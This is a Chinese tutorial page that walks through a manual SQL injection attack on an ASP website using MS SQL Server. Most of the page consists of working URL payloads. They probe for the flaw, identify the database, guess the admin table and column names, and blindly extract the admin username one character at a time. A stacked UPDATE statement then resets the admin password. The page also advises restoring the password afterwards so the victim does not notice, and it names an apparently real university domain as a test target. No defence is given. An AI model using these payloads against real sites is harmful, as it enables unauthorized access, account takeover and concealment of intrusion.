SQL是英文Structured Query Language的缩写,意思为结构化查询语言。SQL语言的主要功能就是同各种数据库建立联系,进行沟通。按照ANSI(美国国家标准协会)的规定,SQL被作为关系型数据库管理系统的标准语言。SQL语句可以用来执行各种各样的操作,例如更新数据库中的数据,从数据库中提取数据等。目前,绝大多数流行的关系型数据库管理系统,如Oracle, Sybase, Microsoft SQL Server, Access等都采用了SQL语言标准。
工具/原料
Microsoft SQL Server 2005
方法/步骤
- 1
要注入的网站如图6-1所示,由于只是为了介绍注入网站的方法,并未实质入侵该网站,同时也是为了对该网站保密,因此在后面的截图中隐藏了该网站的相关信息。
图6-1显示的是要被注入网站的首页,将鼠标放在“我院召开‘平安奥运’工作部署会”上,在状态栏显示其URL是http://www.xxx.com.cn/detail.asp?productid=392。看到URL中有类似“detail.asp?productid”这样的信息,就可以猜测该网站是否存在注入漏洞了。
第1步:加单引号。
如图6.2所示是在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示。
2第1步:加单引号。
如图6.2所示是在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加一个单引号,按Enter键后,服务器返回的错误提示。
3第2步:测试“and 1=1”。如图6.3所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp? productid=392后面加“and 1=1”,按Enter键后,服务器返回到正常页面。
4第3步:测试“and 1=2”。如图6.4所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and 1=2”,按Enter键后,服务器返回错误提示。
5第4步:判断数据库类型。
如图6.5所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and user>0”,按Enter键后,服务器返回错误提示,可知是SQL Server数据库。
6如果是SQL Server数据库,那么该网址显示的页面与“www.xxx.com.cn/detail.asp?productid=392”是一样的,如图6.6所示。
使用下面的语句:
http://www.xxx.com.cn/detail.asp?productid=392 and(select count(*) from msysobjects)>0
如果是SQL Server数据库,由于找不到表msysobjects,服务器会返回错误提示“对象名'msysobjects'无效。”,如图6.7所示,如果Web程序有容错能力,那么服务器返回页面也与原页面不同。
使用下面的语句:
http://www.ahsdxy.ah.edu.cn/ReadNews.asp?NewsID=294and (select count(*) from msysobjects)>0,如图6.8所示,服务器会返回错误提示“不能读取记录;在'msysobjects'上没有读取数据权限。”,说明是SQL Server数据库。
使用下面的语句:
http://www.ahsdxy.ah.edu.cn/ReadNews.asp?NewsID=294and (select count(*) from sysobjects)>0,如图6.9所示,服务器会返回错误提示。
第5步:猜测表名。图6.8和图6.9是基于网站进行的测试。
如图6.10所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select count(*) fromadmin)>=0”,按Enter键后,服务器返回错误提示,说明不存在“admin”表。
7继续猜测表名,如图6.11所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select count(*) fromadminuser)>=0”,返回正常页面,说明存在“adminuser”表,猜测成功。
注意,猜测表名时也可以使用如下形式:
http://www.xxx.com.cn/detail.asp?productid=392and exists(select * from admin)
http://www.xxx.com.cn/detail.asp?productid=392and exists(select * from adminuser)
第6步:猜测字段名(用户名和密码字段)。
猜出表名以后,将count(*)替换成count(字段名),用同样的方法猜解字段名。
如图6.12所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and exists (select count(name)from adminuser)>=0”,按Enter键后,服务器返回错误提示,说明不存在“name”用户名字段。
8继续猜测用户名字段名,如图6.13所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select count(admin_name) from adminuser)>=0”,返回正常页面,说明存在“admin_name”用户名字段名,猜测成功。
然后猜测密码字段名:
假设http://www.xxx.com.cn/detail.asp?productid=392and (select count(admin_pwd) from adminuser)>=0返回正常页面,则密码字段猜测成功,密码字段名是“admin_pwd”。
第7步:猜测用户名。已知表adminuser中存在admin_name字段,下面使用ASCII逐字解码法猜测用户名。
首先,猜测用户名的长度。
如图6.14所示,在浏览器地址栏中http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select top 1len(admin_name) from adminuser)>11”,含义是取第一条记录,测试用户名长度,按Enter键后,返回正常页面,说明用户名的长度大于11。
9继续猜测用户名长度,如图6.15所示,在http://www.xxx.com.cn/detail.asp?productid=392后面加“and (select top 1len(admin_name) from adminuser)>12”,返回错误页面,说明用户名的长度不大于12,所以用户名的长度是12。
10得到admin_name的长度以后,用unicode(substring(admin_name,N, 1))获得第N位字符的ASCII码,比如:
(1)猜测第1个字符。
如图6.16所示,从productid=392 and (select top 1unicode(substring(admin_name, 1, 1)) from adminuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 1, 1)) from adminuser)>121显示正常;如图6.17所示,productid=392 and (select top 1unicode(substring(admin_name, 1, 1)) from adminuser)>122显示不正常,得第1个字符是“z”(查ASCII码字符表,字符z的十进制编码是122)。
11(2)猜测第2个字符。
从productid=392and (select top 1 unicode(substring(admin_name, 2, 1)) from adminuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 2, 1)) from adminuser)>103显示正常;productid=392 and (select top 1unicode(substring(admin_name, 2, 1)) from adminuser)>104显示不正常,得第2个字符是“h”(查ASCII码字符表,字符h的十进制编码是104)。
(3)猜测第3个字符。
从productid=392and (select top 1 unicode(substring(admin_name, 3, 1)) from adminuser)>0到productid=392 and (select top 1unicode(substring(admin_name, 3, 1)) from adminuser)>110显示正常;productid=392 and (select top 1unicode(substring(admin_name, 3, 1)) from adminuser)>111显示不正常,得第3个字符是“o”(查ASCII码字符表,字符o的十进制编码是111)。
按照上述步骤猜测第4~12个字符,最终得到用户名是“zhoushanshan”。
第8步:猜测用户密码。按照猜测用户名的方法猜测用户密码,一般情况下,密码是经MD5加密后存入表中的,如果成功,得到的也是加密后的密码,所以还要对密码进行破解。
第9步:修改密码。如果破解密码的难度很大,那么可以修改已经猜测的用户名对应的密码,即
http://www.xxx.com.cn/detail.asp?productid=392;
update adminuser set admin_pwd =' a0b923820dcc509a'where admin_name='zhoushanshan';--
“a0b923820dcc509a”是1的MD5值,即把密码改成1,zhoushanshan为已猜测的用户名,可以用同样的方法把密码改为原来的值,目的是为了不让真实的zhoushanshan用户发现系统被入侵了。
END编辑推荐:
- 注入攻击MS SQL Server示例03-02
- 如何识别翻新的笔记本电脑03-02
- 惠普电脑 BIOS设置手册03-02
- nh文件用什么打开,怎么打开03-02
- win200364位系统下asp连接DB兼容性解决方法03-02
- 电脑键盘失灵的原因及解决办法03-02
- Win2003防止asp木马的安全设置03-02
- 用RAM+Jlink仿真方法03-02
下一篇:相关推荐
-
雷神推出 MIX PRO II 迷你主机:基于 Ultra 200H,玻璃上盖 + ARGB 灯效
2 月 9 日消息,雷神 (THUNDEROBOT) 现已宣布推出基于英
-
制造商 Musnap 推出彩色墨水屏电纸书 Ocean C:支持手写笔、第三方安卓应用
2 月 10 日消息,制造商 Musnap 现已在海外推出一款 Oce
热文推荐
- 注入攻击MS SQL Server示例
注入攻击MS SQL Server示例
26-03-02 - nh文件用什么打开,怎么打开
nh文件用什么打开,怎么打开
26-03-02 - 电脑键盘失灵的原因及解决办法
电脑键盘失灵的原因及解决办法
26-03-02 - 用RAM+Jlink仿真方法
用RAM+Jlink仿真方法
26-03-02 - 组装电脑电源线怎么接
组装电脑电源线怎么接
26-03-02 - 怎么查看SQL Server 补丁版本
怎么查看SQL Server 补丁版本
26-03-02 - 蓝牙耳机连接手机的方法教程 蓝牙耳机连接不上手机怎么办
蓝牙耳机连接手机的方法教程 蓝牙耳机连接不上手机怎么办
26-03-02 - 电脑独立显卡怎么安装
电脑独立显卡怎么安装
26-03-02 - 如何将nef格式转换成jpg
如何将nef格式转换成jpg
26-03-02 - 电脑回收站无法清空终极解决方法
电脑回收站无法清空终极解决方法
26-03-02
